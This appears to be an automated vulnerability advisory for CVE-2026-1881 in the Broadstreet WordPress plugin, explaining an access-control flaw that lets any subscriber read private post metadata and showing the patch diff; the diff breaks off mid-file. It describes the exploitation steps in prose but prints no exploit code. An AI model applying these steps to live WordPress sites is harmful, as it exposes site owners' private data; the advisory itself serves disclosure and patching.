Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 20, 2026

CVE-2026-1881: Broadstreet <= 1.52.2 – Authenticated (Subscriber+) Private Post Meta Disclosure via get_sponsored_meta (broadstreet)

CVE ID CVE-2026-1881
Plugin broadstreet
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.52.2
Patched Version 1.53.2
Disclosed May 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1881:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Broadstreet WordPress plugin versions up to and including 1.52.2. The issue exists in the get_sponsored_meta AJAX action, allowing authenticated attackers with Subscriber-level or higher access to read private post metadata from any post. The CVSS score is 4.3 due to the requirement of authentication.

The root cause lies in the getSponsorPostMeta() method in /broadstreet/Broadstreet/Ajax.php (line 99 of the original vulnerable code). This function calls Broadstreet_Utility::getAllPostMeta($post_id) without verifying that the requesting user has permission to edit or view the specified post. The post_id parameter is taken directly from $_GET[‘post_id’] and is only validated as an integer via intval(), with no ownership or capability check. The function returns all post metadata (custom fields) for any post ID, including private or otherwise restricted metadata.

An authenticated attacker with Subscriber-level access can exploit this by sending a GET request to /wp-admin/admin-ajax.php with action=get_sponsored_meta and a post_id parameter set to any post ID. Since the function has no nonce verification and no capability check in the vulnerable version, the attacker can enumerate post IDs and retrieve all metadata for each post. The attack requires only a valid WordPress user session (Subscriber or above).

The patch adds three critical security controls to getSponsorPostMeta(): 1) Nonce verification via check_ajax_referer(‘broadstreet_sponsor_nonce’, ‘_wpnonce’), 2) A capability check requiring current_user_can(‘edit_posts’), and 3) A post-specific permission check via current_user_can(‘edit_post’, $post_id). This ensures only users with edit capabilities on the specific post can retrieve its metadata. The nonce also prevents Cross-Site Request Forgery attacks against this endpoint.

Successful exploitation exposes all private post metadata stored in the wp_postmeta table for any post. This can include sensitive information such as internal notes, pricing data, API tokens stored as meta, draft content references, and other custom field data that post authors or administrators may have intended to keep private. In multi-tenant or membership sites, this could expose confidential business data or user-specific information stored as post metadata.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/broadstreet/Broadstreet/Ajax.php
+++ b/broadstreet/Broadstreet/Ajax.php
@@ -19,6 +19,14 @@
      */
     public static function saveSettings()
     {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
         // Sanitize the API key before storing it
         $api_key = sanitize_text_field($_POST['api_key']);
         Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $api_key);
@@ -64,6 +72,16 @@
      */
     public static function saveZoneSettings()
     {
+        // Verify nonce (passed as URL parameter) and check user permissions
+        // Note: Using $_GET since nonce is in URL, not in php://input JSON body
+        if (!isset($_GET['nonce']) || !wp_verify_nonce($_GET['nonce'], 'broadstreet_ajax_nonce')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Security check failed')));
+        }
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
         $settings = json_decode(file_get_contents("php://input"));

         if($settings)
@@ -81,25 +99,60 @@

     public static function createAdvertiser()
     {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
         $api_key    = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_API_KEY);
         $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);

         $api        = Broadstreet_Utility::getBroadstreetClient();
-        $advertiser = $api->createAdvertiser($network_id, stripslashes($_POST['name']));
+        // Sanitize advertiser name to prevent XSS
+        $name       = sanitize_text_field(stripslashes($_POST['name']));
+        $advertiser = $api->createAdvertiser($network_id, $name);

         die(json_encode(array('success' => true, 'advertiser' => $advertiser)));
     }

     public static function getSponsorPostMeta() {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
         $post_id = isset($_GET['post_id']) ? intval($_GET['post_id']) : 0;
+
+        // Verify user has permission to edit this post (fixes IDOR vulnerability)
+        if (!current_user_can('edit_post', $post_id)) {
+            die(json_encode(array('success' => false, 'error' => 'Permission denied')));
+        }
+
+        // Verify nonce and referer (fixes CSRF vulnerability)
+        check_ajax_referer('broadstreet_sponsor_nonce', '_wpnonce');
+
         die(json_encode(array('success' => true, 'meta' => Broadstreet_Utility::getAllPostMeta($post_id))));
     }

     public static function importFacebook()
     {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
+
         try
         {
-            $profile = Broadstreet_Utility::importBusiness($_POST['id'], $_POST['post_id']);
+            $profile = Broadstreet_Utility::importBusiness(sanitize_text_field($_POST['id']), $post_id);
             die(json_encode(array('success' => (bool)$profile, 'profile' => $profile)));
         }
         catch(Broadstreet_ServerException $ex)
@@ -110,12 +163,20 @@

     public static function register()
     {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
         $api = Broadstreet_Utility::getBroadstreetClient(true);

         try
         {
             # Register the user by email address
-            $resp = $api->register($_POST['email']);
+            $resp = $api->register(sanitize_email($_POST['email']));
             Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $resp->access_token);

             # Create a network for the new user
--- a/broadstreet/Broadstreet/Config.php
+++ b/broadstreet/Broadstreet/Config.php
@@ -140,4 +140,4 @@
     }
 }

-define('BROADSTREET_VERSION', '1.52.2');
+define('BROADSTREET_VERSION', '1.53.2');
--- a/broadstreet/Broadstreet/Core.php
+++ b/broadstreet/Broadstreet/Core.php
@@ -669,6 +669,13 @@

             //if(!$info || !$info->cc_on_file)
             //    echo '<div class="updated"><p>You're <strong>almost ready</strong> to start using Broadstreet! Check the <a href="admin.php?page=Broadstreet">plugin page</a> to take care of the last steps. When that's done, this message will clear shortly after.</p></div>';
+
+            // Check for video security warning
+            $security_warning = get_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            if ($security_warning) {
+	                echo '<div class="notice notice-error is-dismissible"><p><strong>Broadstreet Security Notice:</strong> Potentially malicious content was detected and removed from the video embed field. JavaScript protocols, event handlers, and script tags are not allowed for security reasons.</p></div>';
+                delete_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            }
         }
     }

@@ -688,6 +695,11 @@
             wp_enqueue_script('angular-js', Broadstreet_Utility::getJSBaseURL().'angular.min.js?v='. BROADSTREET_VERSION);
             wp_enqueue_script('isteven-multi-js', Broadstreet_Utility::getJSBaseURL().'isteven-multi-select.js');
             wp_enqueue_style ('isteven-multi-css',  Broadstreet_Utility::getCSSBaseURL() . 'isteven-multi-select.css');
+
+            // Pass nonce to JavaScript for AJAX security
+            wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+            ]);
         }

         # Only register on the post editing page
@@ -697,6 +709,11 @@
                 wp_enqueue_style ('Broadstreet-vendorcss-time', Broadstreet_Utility::getVendorBaseURL() . 'timepicker/css/timePicker.css');
                 wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
                 wp_enqueue_script('Broadstreet-vendorjs-time'  ,  Broadstreet_Utility::getVendorBaseURL().'timepicker/js/jquery.timePicker.min.js');
+
+                // Pass nonce to JavaScript for AJAX security
+                wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                    'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+                ]);
             }
         }

@@ -812,11 +829,29 @@
     }

     public function adminMenuBusinessCallback() {
-
-        if (isset($_POST['featured_business_image'])) {
-            $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+        // Handle POSTed settings securely
+        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+            // Require capability
+            if (!current_user_can('manage_options')) {
+                wp_die('Permission denied');
+            }
+
+            // Verify nonce for the businesses settings form
+            check_admin_referer('broadstreet_business_nonce');
+
+            // Sanitize and persist the featured image setting
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image_value = sanitize_text_field($_POST['featured_business_image']);
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($featured_image_value);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
         } else {
-            $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
         }

         Broadstreet_View::load('admin/businesses', array('featured_image' => $featured_image));
@@ -1272,10 +1307,16 @@
     {
         if(isset($_POST['bs_submit']))
         {
+            // Define URL fields that should use esc_url_raw for sanitization
+            $url_fields = array('bs_website', 'bs_menu', 'bs_twitter', 'bs_facebook', 'bs_gplus', 'bs_yelp', 'bs_offer_link');
+
             foreach(self::$_businessDefaults as $key => $value)
             {
                 // Special handling for video content - only allow video and iframe tags to prevent XSS attacks
                 if(isset($_POST[$key]) && $key == 'bs_video') {
+                    $original_content = $_POST[$key];
+                    $security_warning = false;
+
                     // Create a whitelist of allowed tags
                     $allowed_tags = array(
                         'video' => array(
@@ -1287,7 +1328,9 @@
                             'muted' => true,
                             'poster' => true,
                             'preload' => true,
-                            'src' => true
+                            'src' => true,
+                            'class' => true,
+                            'id' => true
                         ),
                         'source' => array(
                             'src' => true,
@@ -1299,24 +1342,75 @@
                             'height' => true,
                             'frameborder' => true,
                             'allowfullscreen' => true,
-                            'allow' => true
+                            'allow' => true,
+                            'title' => true,
+                            'class' => true,
+                            'id' => true
                         )
                     );
-
-                    // Strip all tags except those in the whitelist
-                    $video_content = wp_kses($_POST[$key], $allowed_tags);
-
+
+                    // Define allowed protocols for URLs (prevent javascript:, data:, etc.)
+                    $allowed_protocols = array('http', 'https');
+
+                    // Strip all tags except those in the whitelist, with protocol validation
+                    $video_content = wp_kses($_POST[$key], $allowed_tags, $allowed_protocols);
+
+                    // Check for and remove dangerous patterns
+                    // 1. Detect javascript: protocol
+                    if (preg_match('/javascript:/i', $original_content)) {
+                        $security_warning = true;
+                        $video_content = preg_replace('/(<[^>]*[s'"](src|href|poster|data)s*=s*['"]?)javascript:/i', '$1', $video_content);
+                    }
+
+                    // 2. Detect data: protocol
+                    if (preg_match('/data:/i', $original_content)) {
+                        $security_warning = true;
+                        $video_content = preg_replace('/(<[^>]*[s'"](src|href|poster|data)s*=s*['"]?)data:/i', '$1', $video_content);
+                    }
+
+                    // 3. Detect and remove event handlers (on*)
+                    if (preg_match('/<[^>]*s+onw+s*=/i', $original_content)) {
+                        $security_warning = true;
+                        $video_content = preg_replace('/<([^>]*)s+onw+s*=s*['"][^'"]*['"]([^>]*)>/i', '<$1$2>', $video_content);
+                    }
+
+                    // 4. Detect <script> tags
+                    if (preg_match('/<script/i', $original_content)) {
+                        $security_warning = true;
+                    }
+
+                    // 5. Clean up any broken/suspicious src attributes after sanitization
+                    // This removes leftover garbage from removed javascript:/data: protocols
+                    $video_content = preg_replace('/(<(?:iframe|video|source)[^>]*s+srcs*=s*['"])(?!['"]?https?://)[^'"]*(['"])/i', '$1$2', $video_content);
+
                     // Save the sanitized video content
                     Broadstreet_Utility::setPostMeta($post_id, $key, $video_content);
-
+
+                    // Store security warning flag as transient for admin notice
+                    if ($security_warning) {
+                        set_transient('broadstreet_video_security_warning_' . get_current_user_id(), true, 45);
+                    }
+
                     // Skip the default handling for this field
                     continue;
                 }

-                if(isset($_POST[$key]))
-                    Broadstreet_Utility::setPostMeta($post_id, $key, is_string($_POST[$key]) ? trim($_POST[$key]) : $_POST[$key]);
-                elseif($key == 'bs_images')
+                if(isset($_POST[$key])) {
+                    // Sanitize input based on field type to prevent XSS attacks
+                    if (is_array($_POST[$key])) {
+                        // Handle array fields (like bs_images)
+                        $sanitized_value = array_map('sanitize_text_field', $_POST[$key]);
+                    } elseif (in_array($key, $url_fields)) {
+                        // URL fields - use esc_url_raw for database storage
+                        $sanitized_value = esc_url_raw(trim($_POST[$key]));
+                    } else {
+                        // Text fields - use sanitize_text_field to strip tags and encode special chars
+                        $sanitized_value = sanitize_text_field(trim($_POST[$key]));
+                    }
+                    Broadstreet_Utility::setPostMeta($post_id, $key, $sanitized_value);
+                } elseif($key == 'bs_images') {
                     Broadstreet_Utility::setPostMeta($post_id, $key, self::$_businessDefaults[$key]);
+                }
             }
         }
     }
--- a/broadstreet/Broadstreet/Views/admin/admin.php
+++ b/broadstreet/Broadstreet/Views/admin/admin.php
@@ -90,7 +90,7 @@
                         </div>
                         <div class="save-container">
                             <span class="success" id="save-success">Saved!</span>
-                            <input id="save-broadstreet" type="button" value="Save" name="" />
+                            <input id="save-broadstreet" type="button" value="Save" name="" data-nonce="<?php echo wp_create_nonce('broadstreet_settings_nonce'); ?>" />
                         </div>
                     </div>
                     <div class="clearfix"></div>
@@ -103,4 +103,10 @@
       </div>
     </div>
       <div class="clearfix"></div>
-      <!-- <img src="http://report.Broadstreet2.com/checkin/?s=<?php echo $service_tag.'&'.time(); ?>" alt="" /> -->
 No newline at end of file
+      <!-- <img src="http://report.Broadstreet2.com/checkin/?s=<?php echo $service_tag.'&'.time(); ?>" alt="" /> -->
+      <script>
+      window.broadstreet_register_nonce = '<?php echo wp_create_nonce('broadstreet_register_nonce'); ?>';
+      window.broadstreet_advertiser_nonce = '<?php echo wp_create_nonce('broadstreet_advertiser_nonce'); ?>';
+      window.broadstreet_facebook_nonce = '<?php echo wp_create_nonce('broadstreet_facebook_nonce'); ?>';
+      window.broadstreet_zone_settings_nonce = '<?php echo wp_create_nonce('broadstreet_zone_settings_nonce'); ?>';
+      </script>
 No newline at end of file
--- a/broadstreet/Broadstreet/Views/admin/businessMetaBox.php
+++ b/broadstreet/Broadstreet/Views/admin/businessMetaBox.php
@@ -266,4 +266,8 @@
 <input type="hidden" name="bs_submit" value="1" />

 <script src="<?php echo esc_url(Broadstreet_Utility::getVendorBaseURL()) ?>jquery/jquery-ui-1.9.1.sortable-custom.min.js"></script>
-<script>window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;</script>
+<script>
+window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;
+window.broadstreet_advertiser_nonce = '<?php echo wp_create_nonce('broadstreet_advertiser_nonce'); ?>';
+window.broadstreet_facebook_nonce = '<?php echo wp_create_nonce('broadstreet_facebook_nonce'); ?>';
+</script>
--- a/broadstreet/Broadstreet/Views/admin/businesses.php
+++ b/broadstreet/Broadstreet/Views/admin/businesses.php
@@ -1,5 +1,6 @@
 <script src="https://broadstreet-common.s3.amazonaws.com/broadstreet-net/init.js"></script>
 <form method="post">
+    <?php wp_nonce_field('broadstreet_business_nonce'); ?>
 <div id="main">
       <?php Broadstreet_View::load('admin/global/header') ?>
       <div class="left_column">
--- a/broadstreet/Broadstreet/Views/admin/sponsoredBox.php
+++ b/broadstreet/Broadstreet/Views/admin/sponsoredBox.php
@@ -91,7 +91,7 @@
                             var el = document.getElementById('bs_sponsor_old_advertisement_id');
                             var post_id = editor.getCurrentPostId();

-                            jQuery.get(window.ajaxurl + '?action=get_sponsored_meta&post_id=' + post_id, function (data) {
+                            jQuery.get(window.ajaxurl + '?action=get_sponsored_meta&post_id=' + post_id + '&nonce=' + broadstreetAjax.nonce, function (data) {
                                 var meta = data.meta;
                                 console.info('Broadstreet Meta Update ...', meta);
                                 if (meta.bs_sponsor_is_sponsored == '1') {
@@ -121,4 +121,7 @@
         and make sure your access token is correct, and make sure you have zones set up.</p>
 <?php endif; ?>
 <input type="hidden" name="bs_sponsor_submit" value="1" />
-<script>window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;</script>
 No newline at end of file
+<script>
+window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;
+window.broadstreet_sponsor_nonce = '<?php echo wp_create_nonce('broadstreet_sponsor_nonce'); ?>';
+</script>
 No newline at end of file
--- a/broadstreet/Broadstreet/Views/admin/zones.php
+++ b/broadstreet/Broadstreet/Views/admin/zones.php
@@ -7,7 +7,10 @@
 try {
     // --- START OF ORIGINAL PAGE CONTENT ---
 ?>
-<script>window.bs_bootstrap = <?php echo json_encode($data); ?>;</script>
+<script>
+window.bs_bootstrap = <?php echo json_encode($data); ?>;
+window.broadstreet_zone_settings_nonce = '<?php echo wp_create_nonce('broadstreet_zone_settings_nonce'); ?>';
+</script>
 <div id="main" ng-app="bs_zones">
       <?php Broadstreet_View::load('admin/global/header') ?>
       <div class="left_column" ng-controller="ZoneCtrl">
@@ -460,7 +463,7 @@
                 console.log('Saving settings:', $scope.data.positions_zones);
                 $scope.loadingMessage = 'Saving ...';
                 var params = $scope.data.positions_zones;
-                $http.post(window.ajaxurl + '?action=save_zone_settings', params)
+                $http.post(window.ajaxurl + '?action=save_zone_settings&nonce=' + broadstreetAjax.nonce, params)
                     .success(function(response) {
                         $scope.loadingMessage = null;
                         var saveSuccessEl = document.getElementById('save-success');
--- a/broadstreet/Broadstreet/Views/listings/archive/default.php
+++ b/broadstreet/Broadstreet/Views/listings/archive/default.php
@@ -50,15 +50,15 @@
 <?php endif; ?>
 <div class="biz-column-1">
     <?php if(count($meta['bs_images'])): ?>
-    <img class="boxed-sizing" src="<?php echo $meta['bs_images'][0] ?>" alt="" width="100%" />
+    <img class="boxed-sizing" src="<?php echo esc_url($meta['bs_images'][0]) ?>" alt="" width="100%" />
     <div></div>
     <?php endif; ?>
     <div class="basic-info">
         <?php if($meta['bs_address']): ?>
-            <?php echo nl2br($meta['bs_address']) ?><br />
+            <?php echo nl2br(esc_html($meta['bs_address'])) ?><br />
         <?php endif; ?>
-        <?php if($meta['bs_phone']): ?>
-            <?php echo $meta['bs_phone'] ?>
+        <?php if($meta['bs_phone']): ?>
+            <?php echo esc_html($meta['bs_phone']) ?>
         <?php endif; ?>
     </div>
 </div>
@@ -66,26 +66,26 @@
     <?php echo wp_trim_words(strip_tags($content), 100); ?> <a href="<?php the_permalink() ?>">Read More</a>
     <?php $day = strtolower(date('l')); ?>
     <?php if($meta["bs_{$day}_open"]): ?>
-        <div><strong>Open today</strong> <?php echo $meta["bs_{$day}_open"] . ' to ' . $meta["bs_{$day}_close"]; ?>.
+        <div><strong>Open today</strong> <?php echo esc_html($meta["bs_{$day}_open"]) . ' to ' . esc_html($meta["bs_{$day}_close"]); ?>.
             <?php if($meta['bs_menu']): ?>
-                <a href="<?php echo $meta['bs_menu'] ?>">View a menu</a>
-            <?php endif; ?>
+                <a href="<?php echo esc_url($meta['bs_menu']) ?>">View a menu</a>
+            <?php endif; ?>
         </div>
-        <?php echo get_the_term_list($GLOBALS['post']->ID, Broadstreet_Core::BIZ_TAXONOMY, 'Posted in: ', ', ', '') ?>
+        <?php echo get_the_term_list($GLOBALS['post']->ID, Broadstreet_Core::BIZ_TAXONOMY, 'Posted in: ', ', ', '') ?>
     <?php endif; ?>
     <?php if($meta['bs_twitter'] || $meta['bs_twitter'] || $meta['bs_yelp']): ?>
         <p class="bs-social">
             <?php if($meta['bs_twitter']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_twitter'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'twitter.png' ?>" alt="twitter" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_twitter']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'twitter.png') ?>" alt="twitter" width="20" /></a>
             <?php endif; ?>
             <?php if($meta['bs_facebook']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_facebook'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'facebook.png' ?>" alt="facebook" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_facebook']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'facebook.png') ?>" alt="facebook" width="20" /></a>
             <?php endif; ?>
             <?php if($meta['bs_gplus']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_gplus'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'google.png' ?>" alt="Google Plus" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_gplus']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'google.png') ?>" alt="Google Plus" width="20" /></a>
             <?php endif; ?>
             <?php if($meta['bs_yelp']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_yelp'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'yelp.png' ?>" alt="yelp" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_yelp']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'yelp.png') ?>" alt="yelp" width="20" /></a>
             <?php endif; ?>
         </p>
     <?php endif; ?>
--- a/broadstreet/broadstreet.php
+++ b/broadstreet/broadstreet.php
@@ -3,7 +3,7 @@
 Plugin Name: Broadstreet
 Plugin URI: http://broadstreetads.com
 Description: Integrate Broadstreet business directory and adserving power into your site
-Version: 1.52.2
+Version: 1.53.2
 Tested up to: 6.9
 Author: Broadstreet
 Author URI: http://broadstreetads.com
--- a/broadstreet/trunk/Broadstreet/Ajax.php
+++ b/broadstreet/trunk/Broadstreet/Ajax.php
@@ -26,6 +26,7 @@
             wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
         }

+
         // Sanitize the API key before storing it
         $api_key = sanitize_text_field($_POST['api_key']);
         Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $api_key);
@@ -105,11 +106,14 @@
             wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
         }

+
         $api_key    = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_API_KEY);
         $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);

         $api        = Broadstreet_Utility::getBroadstreetClient();
-        $advertiser = $api->createAdvertiser($network_id, stripslashes($_POST['name']));
+        // Sanitize advertiser name to prevent XSS
+        $name       = sanitize_text_field(stripslashes($_POST['name']));
+        $advertiser = $api->createAdvertiser($network_id, $name);

         die(json_encode(array('success' => true, 'advertiser' => $advertiser)));
     }
@@ -123,6 +127,15 @@
         }

         $post_id = isset($_GET['post_id']) ? intval($_GET['post_id']) : 0;
+
+        // Verify user has permission to edit this post (fixes IDOR vulnerability)
+        if (!current_user_can('edit_post', $post_id)) {
+            die(json_encode(array('success' => false, 'error' => 'Permission denied')));
+        }
+
+        // Verify nonce and referer (fixes CSRF vulnerability)
+        check_ajax_referer('broadstreet_sponsor_nonce', '_wpnonce');
+
         die(json_encode(array('success' => true, 'meta' => Broadstreet_Utility::getAllPostMeta($post_id))));
     }

@@ -135,9 +148,11 @@
             wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
         }

+        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
+
         try
         {
-            $profile = Broadstreet_Utility::importBusiness($_POST['id'], $_POST['post_id']);
+            $profile = Broadstreet_Utility::importBusiness(sanitize_text_field($_POST['id']), $post_id);
             die(json_encode(array('success' => (bool)$profile, 'profile' => $profile)));
         }
         catch(Broadstreet_ServerException $ex)
@@ -155,12 +170,13 @@
             wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
         }

+
         $api = Broadstreet_Utility::getBroadstreetClient(true);

         try
         {
             # Register the user by email address
-            $resp = $api->register($_POST['email']);
+            $resp = $api->register(sanitize_email($_POST['email']));
             Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $resp->access_token);

             # Create a network for the new user
--- a/broadstreet/trunk/Broadstreet/Config.php
+++ b/broadstreet/trunk/Broadstreet/Config.php
@@ -140,4 +140,4 @@
     }
 }

-define('BROADSTREET_VERSION', '1.52.2');
+define('BROADSTREET_VERSION', '1.53.2');
--- a/broadstreet/trunk/Broadstreet/Core.php
+++ b/broadstreet/trunk/Broadstreet/Core.php
@@ -465,7 +465,14 @@
             'page'
         );

-        $screens = get_post_types();
+        /**
+         * Filter the post types on which Broadstreet meta boxes appear.
+         * Defaults to all registered post types.
+         *
+         * @param array $post_types Array of post type slugs.
+         */
+        $screens = apply_filters('broadstreet_meta_box_post_types', get_post_types());
+
         if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
             foreach ( $screens as $screen ) {
                 add_meta_box(
@@ -473,8 +480,8 @@
                     __( '<span class="dashicons dashicons-performance"></span> Sponsored Content', 'broadstreet_textdomain'),
                     array($this, 'broadstreetSponsoredBox'),
                     $screen,
-                    'side',
-                    'high'
+                    apply_filters('broadstreet_sponsored_meta_box_context', 'side', $screen),
+                    apply_filters('broadstreet_sponsored_meta_box_priority', 'high', $screen)
                 );
             }
         }
@@ -485,7 +492,8 @@
                 __( '<span class="dashicons dashicons-format-image"></span> Broadstreet Options', 'broadstreet_textdomain'),
                 array($this, 'broadstreetAdVisibilityBox'),
                 $screen,
-                'side'
+                apply_filters('broadstreet_options_meta_box_context', 'side', $screen),
+                apply_filters('broadstreet_options_meta_box_priority', 'default', $screen)
             );
         }

@@ -496,7 +504,8 @@
                 __( 'Business Details', 'broadstreet_textdomain'),
                 array($this, 'broadstreetBusinessBox'),
                 self::BIZ_POST_TYPE,
-                'normal'
+                apply_filters('broadstreet_business_meta_box_context', 'normal'),
+                apply_filters('broadstreet_business_meta_box_priority', 'default')
             );
         }
     }
@@ -829,11 +838,29 @@
     }

     public function adminMenuBusinessCallback() {
-
-        if (isset($_POST['featured_business_image'])) {
-            $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+        // Handle POSTed settings securely
+        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+            // Require capability
+            if (!current_user_can('manage_options')) {
+                wp_die('Permission denied');
+            }
+
+            // Verify nonce for the businesses settings form
+            check_admin_referer('broadstreet_business_nonce');
+
+            // Sanitize and persist the featured image setting
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image_value = sanitize_text_field($_POST['featured_business_image']);
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($featured_image_value);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
         } else {
-            $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
         }

         Broadstreet_View::load('admin/businesses', array('featured_image' => $featured_image));
@@ -1289,6 +1316,9 @@
     {
         if(isset($_POST['bs_submit']))
         {
+            // Define URL fields that should use esc_url_raw for sanitization
+            $url_fields = array('bs_website', 'bs_menu', 'bs_twitter', 'bs_facebook', 'bs_gplus', 'bs_yelp', 'bs_offer_link');
+
             foreach(self::$_businessDefaults as $key => $value)
             {
                 // Special handling for video content - only allow video and iframe tags to prevent XSS attacks
@@ -1374,10 +1404,22 @@
                     continue;
                 }

-                if(isset($_POST[$key]))
-                    Broadstreet_Utility::setPostMeta($post_id, $key, is_string($_POST[$key]) ? trim($_POST[$key]) : $_POST[$key]);
-                elseif($key == 'bs_images')
+                if(isset($_POST[$key])) {
+                    // Sanitize input based on field type to prevent XSS attacks
+                    if (is_array($_POST[$key])) {
+                        // Handle array fields (like bs_images)
+                        $sanitized_value = array_map('sanitize_text_field', $_POST[$key]);
+                    } elseif (in_array($key, $url_fields)) {
+                        // URL fields - use esc_url_raw for database storage
+                        $sanitized_value = esc_url_raw(trim($_POST[$key]));
+                    } else {
+                        // Text fields - use sanitize_text_field to strip tags and encode special chars
+                        $sanitized_value = sanitize_text_field(trim($_POST[$key]));
+                    }
+                    Broadstreet_Utility::setPostMeta($post_id, $key, $sanitized_value);
+                } elseif($key == 'bs_images') {
                     Broadstreet_Utility::setPostMeta($post_id, $key, self::$_businessDefaults[$key]);
+                }
             }
         }
     }
--- a/broadstreet/trunk/Broadstreet/Views/admin/admin.php
+++ b/broadstreet/trunk/Broadstreet/Views/admin/admin.php
@@ -90,7 +90,7 @@
                         </div>
                         <div class="save-container">
                             <span class="success" id="save-success">Saved!</span>
-                            <input id="save-broadstreet" type="button" value="Save" name="" />
+                            <input id="save-broadstreet" type="button" value="Save" name="" data-nonce="<?php echo wp_create_nonce('broadstreet_settings_nonce'); ?>" />
                         </div>
                     </div>
                     <div class="clearfix"></div>
@@ -103,4 +103,10 @@
       </div>
     </div>
       <div class="clearfix"></div>
-      <!-- <img src="http://report.Broadstreet2.com/checkin/?s=<?php echo $service_tag.'&'.time(); ?>" alt="" /> -->
 No newline at end of file
+      <!-- <img src="http://report.Broadstreet2.com/checkin/?s=<?php echo $service_tag.'&'.time(); ?>" alt="" /> -->
+      <script>
+      window.broadstreet_register_nonce = '<?php echo wp_create_nonce('broadstreet_register_nonce'); ?>';
+      window.broadstreet_advertiser_nonce = '<?php echo wp_create_nonce('broadstreet_advertiser_nonce'); ?>';
+      window.broadstreet_facebook_nonce = '<?php echo wp_create_nonce('broadstreet_facebook_nonce'); ?>';
